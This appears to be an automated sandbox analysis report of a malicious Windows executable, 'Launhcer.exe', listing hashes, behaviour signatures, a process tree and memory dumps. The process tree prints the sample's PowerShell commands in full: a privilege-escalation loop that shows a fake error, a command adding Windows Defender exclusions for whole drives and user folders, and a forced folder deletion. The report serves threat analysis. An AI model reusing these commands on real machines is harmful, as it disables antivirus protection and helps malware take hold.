Analysis

  • max time kernel
    92s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-12-2024 09:26

General

  • Target

    data/appInfo/services/Launhcer.exe

  • Size

    364KB

  • MD5

    e5c00b0bc45281666afd14eef04252b2

  • SHA1

    3b6eecf8250e88169976a5f866d15c60ee66b758

  • SHA256

    542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

  • SHA512

    2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

  • SSDEEP

    6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe
    "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1968
      • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe
        "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2992
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1380
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2080

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    968cb9309758126772781b83adb8a28f

    SHA1

    8da30e71accf186b2ba11da1797cf67f8f78b47c

    SHA256

    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

    SHA512

    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1004B

    MD5

    c516fee6cf7f99aeb515d66137f97b90

    SHA1

    3086c215ff81d3812e6ccf1ada9eb4ce7b76c2f5

    SHA256

    36f4a5ffd40fa9e080e1a428df762e105b89f41f2e2298d0b9c16b01e3d9b067

    SHA512

    8851d8f30bd9a69cad74769dbe467603989f599b98059b19c1481a52752b5b55c80629815d0e8669dfd99ced285889d07a248df69ea6a3f7ae9e99f034ed5a3a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bsuzcnn3.ic5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1380-50-0x00000000072F0000-0x000000000730A000-memory.dmp

    Filesize

    104KB

  • memory/1380-45-0x00000000076B0000-0x0000000007D2A000-memory.dmp

    Filesize

    6.5MB

  • memory/1380-43-0x0000000006E90000-0x0000000006EAE000-memory.dmp

    Filesize

    120KB

  • memory/1380-51-0x00000000072E0000-0x00000000072E8000-memory.dmp

    Filesize

    32KB

  • memory/1380-44-0x0000000006F00000-0x0000000006FA3000-memory.dmp

    Filesize

    652KB

  • memory/1380-49-0x00000000072B0000-0x00000000072C4000-memory.dmp

    Filesize

    80KB

  • memory/1380-48-0x00000000072A0000-0x00000000072AE000-memory.dmp

    Filesize

    56KB

  • memory/1380-47-0x0000000007260000-0x0000000007271000-memory.dmp

    Filesize

    68KB

  • memory/1380-46-0x00000000070E0000-0x00000000070EA000-memory.dmp

    Filesize

    40KB

  • memory/1380-32-0x0000000006EB0000-0x0000000006EE2000-memory.dmp

    Filesize

    200KB

  • memory/1380-33-0x000000006FF40000-0x000000006FF8C000-memory.dmp

    Filesize

    304KB

  • memory/1968-19-0x0000000006E60000-0x0000000006EF6000-memory.dmp

    Filesize

    600KB

  • memory/1968-16-0x00000000059F0000-0x0000000005D44000-memory.dmp

    Filesize

    3.3MB

  • memory/1968-20-0x0000000006390000-0x00000000063AA000-memory.dmp

    Filesize

    104KB

  • memory/1968-5-0x0000000005770000-0x00000000057D6000-memory.dmp

    Filesize

    408KB

  • memory/1968-2-0x0000000073600000-0x0000000073DB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1968-22-0x00000000074F0000-0x0000000007A94000-memory.dmp

    Filesize

    5.6MB

  • memory/1968-4-0x0000000004E40000-0x0000000004E62000-memory.dmp

    Filesize

    136KB

  • memory/1968-18-0x0000000005EB0000-0x0000000005EFC000-memory.dmp

    Filesize

    304KB

  • memory/1968-17-0x0000000005E70000-0x0000000005E8E000-memory.dmp

    Filesize

    120KB

  • memory/1968-21-0x00000000063B0000-0x00000000063D2000-memory.dmp

    Filesize

    136KB

  • memory/1968-0-0x000000007360E000-0x000000007360F000-memory.dmp

    Filesize

    4KB

  • memory/1968-6-0x00000000057E0000-0x0000000005846000-memory.dmp

    Filesize

    408KB

  • memory/1968-54-0x000000007360E000-0x000000007360F000-memory.dmp

    Filesize

    4KB

  • memory/1968-55-0x0000000073600000-0x0000000073DB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1968-56-0x0000000073600000-0x0000000073DB0000-memory.dmp

    Filesize

    7.7MB

  • memory/1968-3-0x0000000004FD0000-0x00000000055F8000-memory.dmp

    Filesize

    6.2MB

  • memory/1968-1-0x00000000024E0000-0x0000000002516000-memory.dmp

    Filesize

    216KB

  • memory/1968-61-0x0000000073600000-0x0000000073DB0000-memory.dmp

    Filesize

    7.7MB